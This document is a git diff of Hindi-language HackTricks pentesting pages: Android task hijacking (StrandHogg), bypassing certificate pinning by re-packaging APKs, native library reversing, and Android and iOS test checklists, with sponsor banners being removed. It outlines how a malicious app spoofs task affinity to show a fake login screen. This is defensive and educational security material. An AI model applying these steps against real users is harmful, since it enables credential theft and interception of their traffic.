* **गतिविधि 2** को लॉन्च करने से **गतिविधि 1** बैक स्टैक में धकेल दी जाती है, जिससे **गतिविधि 2** अग्रभूमि में आ जाती है।
|
||||
* **गतिविधि 3** शुरू करने से **गतिविधि 1** और **गतिविधि 2** स्टैक में और पीछे चली जाती हैं, **गतिविधि 3** अब सामने होती है।
|
||||
* **गतिविधि 3** को बंद करने से **गतिविधि 2** फिर से अग्रभूमि में आ जाती है, जो Android के सुव्यवस्थित कार्य नेविगेशन तंत्र को प्रदर्शित करती है।
|
||||
|
||||
![https://developer.android.com/images/fundamentals/diagram\_backstack.png](<../../.gitbook/assets/image (698).png>)
|
||||
|
||||
## कार्य संबंधी हमले
|
||||
|
||||
### कार्य संबंधी और लॉन्च मोड का अवलोकन
|
||||
### कार्य संबंध और लॉन्च मोड का अवलोकन
|
||||
|
||||
Android अनुप्रयोगों में, **कार्य संबंधी** एक गतिविधि के पसंदीदा कार्य को निर्दिष्ट करता है, जो आमतौर पर ऐप के पैकेज नाम के साथ मेल खाता है। यह सेटअप हमले को प्रदर्शित करने के लिए एक प्रमाण-ऑफ-कॉन्सेप्ट (PoC) ऐप बनाने में महत्वपूर्ण है।
|
||||
Android अनुप्रयोगों में, **कार्य संबंध** एक गतिविधि के पसंदीदा कार्य को निर्दिष्ट करता है, जो आमतौर पर ऐप के पैकेज नाम के साथ मेल खाता है। यह सेटअप हमले को प्रदर्शित करने के लिए एक प्रमाण-की-धारणा (PoC) ऐप बनाने में महत्वपूर्ण है।
|
||||
|
||||
### लॉन्च मोड
|
||||
|
||||
`launchMode` विशेषता कार्यों के भीतर गतिविधि उदाहरणों के प्रबंधन को निर्देशित करती है। **singleTask** मोड इस हमले के लिए महत्वपूर्ण है, जो मौजूदा गतिविधि उदाहरणों और कार्य संबंधी मेल के आधार पर तीन परिदृश्यों को निर्धारित करता है। यह शोषण हमलावर के ऐप की क्षमता पर निर्भर करता है कि वह लक्षित ऐप के कार्य संबंधी को अनुकरण कर सके, जिससे Android सिस्टम को हमलावर के ऐप को लक्षित ऐप के बजाय लॉन्च करने के लिए गुमराह किया जा सके।
|
||||
`launchMode` विशेषता कार्यों के भीतर गतिविधि उदाहरणों के प्रबंधन को निर्देशित करती है। **singleTask** मोड इस हमले के लिए महत्वपूर्ण है, जो मौजूदा गतिविधि उदाहरणों और कार्य संबंध मेल के आधार पर तीन परिदृश्यों को निर्धारित करता है। यह शोषण हमलावर के ऐप की क्षमता पर निर्भर करता है कि वह लक्षित ऐप के कार्य संबंध की नकल कर सके, जिससे Android सिस्टम को हमलावर के ऐप को लक्षित ऐप के बजाय लॉन्च करने के लिए गुमराह किया जा सके।
|
||||
|
||||
### विस्तृत हमले के चरण
|
||||
|
||||
1. **दुष्ट ऐप इंस्टॉलेशन**: पीड़ित अपने डिवाइस पर हमलावर का ऐप इंस्टॉल करता है।
|
||||
2. **प्रारंभिक सक्रियण**: पीड़ित पहले दुष्ट ऐप को खोलता है, जिससे हमले के लिए डिवाइस सेटअप होता है।
|
||||
3. **लक्षित ऐप लॉन्च प्रयास**: पीड़ित लक्षित ऐप खोलने का प्रयास करता है।
|
||||
4. **हाइजैक निष्पादन**: मेल खाते कार्य संबंधी के कारण, दुष्ट ऐप लक्षित ऐप के स्थान पर लॉन्च होता है।
|
||||
3. **लक्षित ऐप लॉन्च प्रयास**: पीड़ित लक्षित ऐप को खोलने का प्रयास करता है।
|
||||
4. **हाइजैक निष्पादन**: मेल खाते कार्य संबंध के कारण, दुष्ट ऐप लक्षित ऐप के स्थान पर लॉन्च होता है।
|
||||
5. **धोखा**: दुष्ट ऐप लक्षित ऐप के समान एक नकली लॉगिन स्क्रीन प्रस्तुत करता है, जिससे उपयोगकर्ता संवेदनशील जानकारी दर्ज करने के लिए धोखा खा जाता है।
|
||||
|
||||
इस हमले के व्यावहारिक कार्यान्वयन के लिए, GitHub पर Task Hijacking Strandhogg रिपॉजिटरी देखें: [Task Hijacking Strandhogg](https://github.com/az0mb13/Task\_Hijacking\_Strandhogg).
|
||||
|
@ -65,11 +57,6 @@ Android अनुप्रयोगों में, **कार्य संब
|
|||
* [**https://blog.dixitaditya.com/android-task-hijacking/**](https://blog.dixitaditya.com/android-task-hijacking/)
|
||||
* [**https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html**](https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
|
|
@ -13,21 +13,13 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
कुछ एप्लिकेशन उपयोगकर्ता द्वारा डाउनलोड किए गए प्रमाणपत्रों को पसंद नहीं करते हैं, इसलिए कुछ ऐप्स के लिए वेब ट्रैफ़िक का निरीक्षण करने के लिए हमें वास्तव में एप्लिकेशन को डिकंपाइल करना होगा और कुछ चीजें जोड़नी होंगी और फिर से संकलित करना होगा।
|
||||
|
||||
# Automatic
|
||||
# स्वचालित
|
||||
|
||||
उपकरण [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm) **स्वतः** एप्लिकेशन में आवश्यक परिवर्तन करेगा ताकि अनुरोधों को कैप्चर करना शुरू किया जा सके और यह प्रमाणपत्र पिनिंग को भी अक्षम करेगा (यदि कोई हो)।
|
||||
उपकरण [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm) आवश्यक परिवर्तनों को **स्वचालित** रूप से एप्लिकेशन में करेगा ताकि अनुरोधों को कैप्चर करना शुरू किया जा सके और यह प्रमाणपत्र पिनिंग को भी अक्षम कर देगा (यदि कोई हो)।
|
||||
|
||||
# Manual
|
||||
# मैनुअल
|
||||
|
||||
पहले हम ऐप को डिकंपाइल करते हैं: `apktool d *file-name*.apk`
|
||||
|
||||
|
|
|
@ -15,70 +15,46 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
**For further information check:** [**https://maddiestone.github.io/AndroidAppRE/reversing\_native\_libs.html**](https://maddiestone.github.io/AndroidAppRE/reversing\_native\_libs.html)
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) एक **डार्क-वेब** द्वारा संचालित सर्च इंजन है जो **मुफ्त** कार्यक्षमताएँ प्रदान करता है ताकि यह जांचा जा सके कि क्या कोई कंपनी या उसके ग्राहक **संपर्कित** हुए हैं **चोरी करने वाले मालवेयर** द्वारा।
|
||||
|
||||
WhiteIntel का प्राथमिक लक्ष्य जानकारी-चोरी करने वाले मालवेयर के परिणामस्वरूप खाता अधिग्रहण और रैनसमवेयर हमलों से लड़ना है।
|
||||
|
||||
आप उनकी वेबसाइट देख सकते हैं और उनके इंजन को **मुफ्त** में आजमा सकते हैं:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
**अधिक जानकारी के लिए देखें:** [**https://maddiestone.github.io/AndroidAppRE/reversing\_native\_libs.html**](https://maddiestone.github.io/AndroidAppRE/reversing\_native\_libs.html)
|
||||
|
||||
एंड्रॉइड ऐप्स प्रदर्शन-क्रिटिकल कार्यों के लिए आमतौर पर C या C++ में लिखी गई मूल पुस्तकालयों का उपयोग कर सकते हैं। मालवेयर निर्माता भी इन पुस्तकालयों का उपयोग करते हैं, क्योंकि इन्हें DEX बाइटकोड की तुलना में उलटना कठिन होता है। यह अनुभाग एंड्रॉइड के लिए अनुकूलित रिवर्स इंजीनियरिंग कौशल पर जोर देता है, न कि असेंबली भाषाएँ सिखाने पर। संगतता के लिए ARM और x86 संस्करणों के पुस्तकालय प्रदान किए जाते हैं।
|
||||
एंड्रॉइड ऐप्स प्रदर्शन-क्रिटिकल कार्यों के लिए आमतौर पर C या C++ में लिखी गई नैटिव लाइब्रेरीज़ का उपयोग कर सकते हैं। मैलवेयर निर्माता भी इन लाइब्रेरीज़ का उपयोग करते हैं, क्योंकि इन्हें DEX बाइटकोड की तुलना में रिवर्स इंजीनियर करना कठिन होता है। यह अनुभाग एंड्रॉइड के लिए अनुकूलित रिवर्स इंजीनियरिंग कौशल पर जोर देता है, न कि असेंबली भाषाओं को सिखाने पर। संगतता के लिए ARM और x86 संस्करणों की लाइब्रेरीज़ प्रदान की जाती हैं।
|
||||
|
||||
### Key Points:
|
||||
|
||||
* **एंड्रॉइड ऐप्स में मूल पुस्तकालय:**
|
||||
* **Native Libraries in Android Apps:**
|
||||
* प्रदर्शन-गहन कार्यों के लिए उपयोग किया जाता है।
|
||||
* C या C++ में लिखा गया, जिससे रिवर्स इंजीनियरिंग चुनौतीपूर्ण हो जाती है।
|
||||
* `.so` (शेयर की गई वस्तु) प्रारूप में पाया जाता है, जो लिनक्स बाइनरी के समान है।
|
||||
* मालवेयर निर्माता विश्लेषण को कठिन बनाने के लिए मूल कोड को प्राथमिकता देते हैं।
|
||||
* **जावा नेटिव इंटरफेस (JNI) और एंड्रॉइड NDK:**
|
||||
* JNI जावा विधियों को मूल कोड में लागू करने की अनुमति देता है।
|
||||
* NDK मूल कोड लिखने के लिए एंड्रॉइड-विशिष्ट उपकरणों का एक सेट है।
|
||||
* JNI और NDK जावा (या कोटलिन) कोड को मूल पुस्तकालयों के साथ जोड़ते हैं।
|
||||
* **पुस्तकालय लोडिंग और निष्पादन:**
|
||||
* पुस्तकालयों को `System.loadLibrary` या `System.load` का उपयोग करके मेमोरी में लोड किया जाता है।
|
||||
* पुस्तकालय लोडिंग पर JNI\_OnLoad निष्पादित होता है।
|
||||
* जावा-घोषित मूल विधियाँ मूल कार्यों से लिंक होती हैं, जिससे निष्पादन सक्षम होता है।
|
||||
* **जावा विधियों को मूल कार्यों से लिंक करना:**
|
||||
* **डायनामिक लिंकिंग:** मूल पुस्तकालयों में कार्य नाम एक विशिष्ट पैटर्न से मेल खाते हैं, जिससे स्वचालित लिंकिंग की अनुमति मिलती है।
|
||||
* **स्टेटिक लिंकिंग:** लिंकिंग के लिए `RegisterNatives` का उपयोग करता है, कार्य नामकरण और संरचना में लचीलापन प्रदान करता है।
|
||||
* **रिवर्स इंजीनियरिंग उपकरण और तकनीकें:**
|
||||
* Ghidra और IDA Pro जैसे उपकरण मूल पुस्तकालयों का विश्लेषण करने में मदद करते हैं।
|
||||
* मैलवेयर निर्माता विश्लेषण को कठिन बनाने के लिए नैटिव कोड को प्राथमिकता देते हैं।
|
||||
* **Java Native Interface (JNI) & Android NDK:**
|
||||
* JNI जावा विधियों को नैटिव कोड में लागू करने की अनुमति देता है।
|
||||
* NDK नैटिव कोड लिखने के लिए एंड्रॉइड-विशिष्ट उपकरणों का एक सेट है।
|
||||
* JNI और NDK जावा (या कोटलिन) कोड को नैटिव लाइब्रेरीज़ के साथ जोड़ते हैं।
|
||||
* **Library Loading & Execution:**
|
||||
* लाइब्रेरीज़ को `System.loadLibrary` या `System.load` का उपयोग करके मेमोरी में लोड किया जाता है।
|
||||
* लाइब्रेरी लोड होने पर JNI\_OnLoad निष्पादित होता है।
|
||||
* जावा द्वारा घोषित नैटिव विधियाँ नैटिव कार्यों से लिंक होती हैं, जिससे निष्पादन सक्षम होता है।
|
||||
* **Linking Java Methods to Native Functions:**
|
||||
* **Dynamic Linking:** नैटिव लाइब्रेरीज़ में कार्यों के नाम एक विशिष्ट पैटर्न से मेल खाते हैं, जिससे स्वचालित लिंकिंग की अनुमति मिलती है।
|
||||
* **Static Linking:** लिंकिंग के लिए `RegisterNatives` का उपयोग करता है, जो कार्यों के नामकरण और संरचना में लचीलापन प्रदान करता है।
|
||||
* **Reverse Engineering Tools and Techniques:**
|
||||
* Ghidra और IDA Pro जैसे उपकरण नैटिव लाइब्रेरीज़ का विश्लेषण करने में मदद करते हैं।
|
||||
* `JNIEnv` JNI कार्यों और इंटरैक्शन को समझने के लिए महत्वपूर्ण है।
|
||||
* पुस्तकालयों को लोड करने, विधियों को लिंक करने और मूल कार्यों की पहचान करने का अभ्यास करने के लिए व्यायाम प्रदान किए जाते हैं।
|
||||
* लाइब्रेरीज़ को लोड करने, विधियों को लिंक करने और नैटिव कार्यों की पहचान करने का अभ्यास करने के लिए व्यायाम प्रदान किए जाते हैं।
|
||||
|
||||
### Resources:
|
||||
|
||||
* **ARM असेंबली सीखना:**
|
||||
* अंतर्निहित आर्किटेक्चर की गहरी समझ के लिए सुझाया गया।
|
||||
* Azeria Labs से [ARM Assembly Basics](https://azeria-labs.com/writing-arm-assembly-part-1/) की सिफारिश की जाती है।
|
||||
* **JNI और NDK दस्तावेज़:**
|
||||
* [Oracle का JNI विनिर्देशन](https://docs.oracle.com/javase/7/docs/technotes/guides/jni/spec/jniTOC.html)
|
||||
* [एंड्रॉइड के JNI टिप्स](https://developer.android.com/training/articles/perf-jni)
|
||||
* [NDK के साथ शुरुआत करना](https://developer.android.com/ndk/guides/)
|
||||
* **मूल पुस्तकालयों का डिबगिंग:**
|
||||
* [JEB डिकंपाइलर का उपयोग करके एंड्रॉइड मूल पुस्तकालयों का डिबगिंग](https://medium.com/@shubhamsonani/how-to-debug-android-native-libraries-using-jeb-decompiler-eec681a22cf3)
|
||||
* **Learning ARM Assembly:**
|
||||
* अंतर्निहित आर्किटेक्चर की गहरी समझ के लिए सुझावित।
|
||||
* [ARM Assembly Basics](https://azeria-labs.com/writing-arm-assembly-part-1/) Azeria Labs से अनुशंसित है।
|
||||
* **JNI & NDK Documentation:**
|
||||
* [Oracle's JNI Specification](https://docs.oracle.com/javase/7/docs/technotes/guides/jni/spec/jniTOC.html)
|
||||
* [Android's JNI Tips](https://developer.android.com/training/articles/perf-jni)
|
||||
* [Getting Started with the NDK](https://developer.android.com/ndk/guides/)
|
||||
* **Debugging Native Libraries:**
|
||||
* [Debug Android Native Libraries Using JEB Decompiler](https://medium.com/@shubhamsonani/how-to-debug-android-native-libraries-using-jeb-decompiler-eec681a22cf3)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) एक **डार्क-वेब** द्वारा संचालित सर्च इंजन है जो **मुफ्त** कार्यक्षमताएँ प्रदान करता है ताकि यह जांचा जा सके कि क्या कोई कंपनी या उसके ग्राहक **संपर्कित** हुए हैं **चोरी करने वाले मालवेयर** द्वारा।
|
||||
|
||||
WhiteIntel का प्राथमिक लक्ष्य जानकारी-चोरी करने वाले मालवेयर के परिणामस्वरूप खाता अधिग्रहण और रैनसमवेयर हमलों से लड़ना है।
|
||||
|
||||
आप उनकी वेबसाइट देख सकते हैं और उनके इंजन को **मुफ्त** में आजमा सकते हैं:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
|
|
@ -1,29 +1,21 @@
|
|||
# Android APK Checklist
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>HackTricks का समर्थन करें</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* [**सदस्यता योजनाओं**](https://github.com/sponsors/carlospolop) की जांच करें!
|
||||
* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो** करें [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **हैकिंग ट्रिक्स साझा करें और [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
### [Learn Android fundamentals](android-app-pentesting/#2-android-application-fundamentals)
|
||||
### [Android के मूलभूत सिद्धांत सीखें](android-app-pentesting/#2-android-application-fundamentals)
|
||||
|
||||
* [ ] [बुनियादी बातें](android-app-pentesting/#fundamentals-review)
|
||||
* [ ] [Dalvik & Smali](android-app-pentesting/#dalvik--smali)
|
||||
|
@ -39,13 +31,13 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
* [ ] [ADB का उपयोग कैसे करें](android-app-pentesting/#adb-android-debug-bridge)
|
||||
* [ ] [Smali को कैसे संशोधित करें](android-app-pentesting/#smali)
|
||||
|
||||
### [Static Analysis](android-app-pentesting/#static-analysis)
|
||||
### [स्थैतिक विश्लेषण](android-app-pentesting/#static-analysis)
|
||||
|
||||
* [ ] [Obfuscation](android-checklist.md#some-obfuscation-deobfuscation-information) के उपयोग की जांच करें, यह देखें कि मोबाइल रूट किया गया है या नहीं, यदि एक एमुलेटर का उपयोग किया जा रहा है और एंटी-टैम्परिंग जांचें। [अधिक जानकारी के लिए इसे पढ़ें](android-app-pentesting/#other-checks)।
|
||||
* [ ] [अवरोधन](android-checklist.md#some-obfuscation-deobfuscation-information) के उपयोग की जांच करें, यह जांचें कि मोबाइल रूट किया गया है या नहीं, यदि एक एमुलेटर का उपयोग किया जा रहा है और एंटी-टैम्परिंग जांचें। [अधिक जानकारी के लिए इसे पढ़ें](android-app-pentesting/#other-checks)।
|
||||
* [ ] संवेदनशील अनुप्रयोगों (जैसे बैंक ऐप) को जांचना चाहिए कि मोबाइल रूट किया गया है और इसके अनुसार कार्य करना चाहिए।
|
||||
* [ ] [दिलचस्प स्ट्रिंग्स](android-app-pentesting/#looking-for-interesting-info) (पासवर्ड, URL, API, एन्क्रिप्शन, बैकडोर, टोकन, ब्लूटूथ UUIDs...) की खोज करें।
|
||||
* [ ] [Firebase](android-app-pentesting/#firebase) APIs पर विशेष ध्यान दें।
|
||||
* [ ] [Manifest पढ़ें:](android-app-pentesting/#basic-understanding-of-the-application-manifest-xml)
|
||||
* [ ] [फायरबेस](android-app-pentesting/#firebase) एपीआई पर विशेष ध्यान दें।
|
||||
* [ ] [मैनिफेस्ट पढ़ें:](android-app-pentesting/#basic-understanding-of-the-application-manifest-xml)
|
||||
* [ ] जांचें कि क्या अनुप्रयोग डिबग मोड में है और इसे "शोषण" करने की कोशिश करें
|
||||
* [ ] जांचें कि क्या APK बैकअप की अनुमति देता है
|
||||
* [ ] निर्यातित गतिविधियाँ
|
||||
|
@ -55,10 +47,10 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
* [ ] URL योजनाएँ
|
||||
* [ ] क्या अनुप्रयोग [असुरक्षित रूप से आंतरिक या बाहरी डेटा सहेज रहा है](android-app-pentesting/#insecure-data-storage)?
|
||||
* [ ] क्या कोई [पासवर्ड हार्ड कोडेड या डिस्क में सहेजा गया है](android-app-pentesting/#poorkeymanagementprocesses)? क्या ऐप [असुरक्षित क्रिप्टो एल्गोरिदम का उपयोग कर रहा है](android-app-pentesting/#useofinsecureandordeprecatedalgorithms)?
|
||||
* [ ] क्या सभी पुस्तकालयों को PIE ध्वज का उपयोग करके संकलित किया गया है?
|
||||
* [ ] यह न भूलें कि इस चरण के दौरान आपकी मदद करने के लिए कई [स्थैतिक Android एनालाइज़र](android-app-pentesting/#automatic-analysis) हैं।
|
||||
* [ ] क्या सभी पुस्तकालय PIE ध्वज का उपयोग करके संकलित हैं?
|
||||
* [ ] यह न भूलें कि इस चरण के दौरान आपकी मदद करने के लिए कई [स्थैतिक Android विश्लेषक](android-app-pentesting/#automatic-analysis) हैं।
|
||||
|
||||
### [Dynamic Analysis](android-app-pentesting/#dynamic-analysis)
|
||||
### [गतिशील विश्लेषण](android-app-pentesting/#dynamic-analysis)
|
||||
|
||||
* [ ] वातावरण तैयार करें ([ऑनलाइन](android-app-pentesting/#online-dynamic-analysis), [स्थानीय VM या भौतिक](android-app-pentesting/#local-dynamic-analysis))
|
||||
* [ ] क्या कोई [अनपेक्षित डेटा लीक](android-app-pentesting/#unintended-data-leakage) (लॉगिंग, कॉपी/पेस्ट, क्रैश लॉग) है?
|
||||
|
@ -70,31 +62,24 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
* [ ] क्या अनुप्रयोग [स्पष्ट पाठ में जानकारी संचारित कर रहा है/कमजोर एल्गोरिदम का उपयोग कर रहा है](android-app-pentesting/#insufficient-transport-layer-protection)? क्या MitM संभव है?
|
||||
* [ ] [HTTP/HTTPS ट्रैफ़िक का निरीक्षण करें](android-app-pentesting/#inspecting-http-traffic)
|
||||
* [ ] यह वास्तव में महत्वपूर्ण है, क्योंकि यदि आप HTTP ट्रैफ़िक को कैप्चर कर सकते हैं तो आप सामान्य वेब कमजोरियों की खोज कर सकते हैं (Hacktricks के पास वेब कमजोरियों के बारे में बहुत सारी जानकारी है)।
|
||||
* [ ] संभावित [Android क्लाइंट साइड इंजेक्शन](android-app-pentesting/#android-client-side-injections-and-others) की जांच करें (शायद कुछ स्थैतिक कोड विश्लेषण यहाँ मदद करेगा)
|
||||
* [ ] [Frida](android-app-pentesting/#frida): बस Frida, इसका उपयोग अनुप्रयोग से दिलचस्प गतिशील डेटा प्राप्त करने के लिए करें (शायद कुछ पासवर्ड...)
|
||||
* [ ] संभावित [Android क्लाइंट साइड इंजेक्शन](android-app-pentesting/#android-client-side-injections-and-others) की जांच करें (संभवतः कुछ स्थैतिक कोड विश्लेषण यहाँ मदद करेगा)
|
||||
* [ ] [Frida](android-app-pentesting/#frida): बस Frida, इसका उपयोग करें ताकि अनुप्रयोग से दिलचस्प गतिशील डेटा प्राप्त किया जा सके (शायद कुछ पासवर्ड...)
|
||||
|
||||
### Some obfuscation/Deobfuscation information
|
||||
### कुछ अवरोधन/डीअवरोधन जानकारी
|
||||
|
||||
* [ ] [यहाँ पढ़ें](android-app-pentesting/#obfuscating-deobfuscating-code)
|
||||
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>HackTricks का समर्थन करें</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* [**सदस्यता योजनाओं**](https://github.com/sponsors/carlospolop) की जांच करें!
|
||||
* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो** करें [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **हैकिंग ट्रिक्स साझा करें और [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -3,7 +3,7 @@
|
|||
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) का उपयोग करें ताकि आप आसानी से दुनिया के **सबसे उन्नत** सामुदायिक उपकरणों द्वारा संचालित **कार्यप्रवाहों** का निर्माण और **स्वचालित** कर सकें।\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) का उपयोग करें ताकि आप आसानी से **वर्कफ़्लो** बना सकें और **स्वचालित** कर सकें जो दुनिया के **सबसे उन्नत** सामुदायिक उपकरणों द्वारा संचालित हैं।\
|
||||
आज ही एक्सेस प्राप्त करें:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -16,26 +16,18 @@ GCP हैकिंग सीखें और अभ्यास करें: <
|
|||
|
||||
<summary>HackTricks का समर्थन करें</summary>
|
||||
|
||||
* [**सदस्यता योजनाओं**](https://github.com/sponsors/carlospolop) की जांच करें!
|
||||
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर हमें **फॉलो** करें।**
|
||||
* **हैकिंग ट्रिक्स साझा करें और [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
### तैयारी
|
||||
|
||||
* [ ] [**iOS मूल बातें**](ios-pentesting/ios-basics.md) पढ़ें
|
||||
* [ ] [**iOS परीक्षण वातावरण**](ios-pentesting/ios-testing-environment.md) पढ़कर अपने वातावरण को तैयार करें
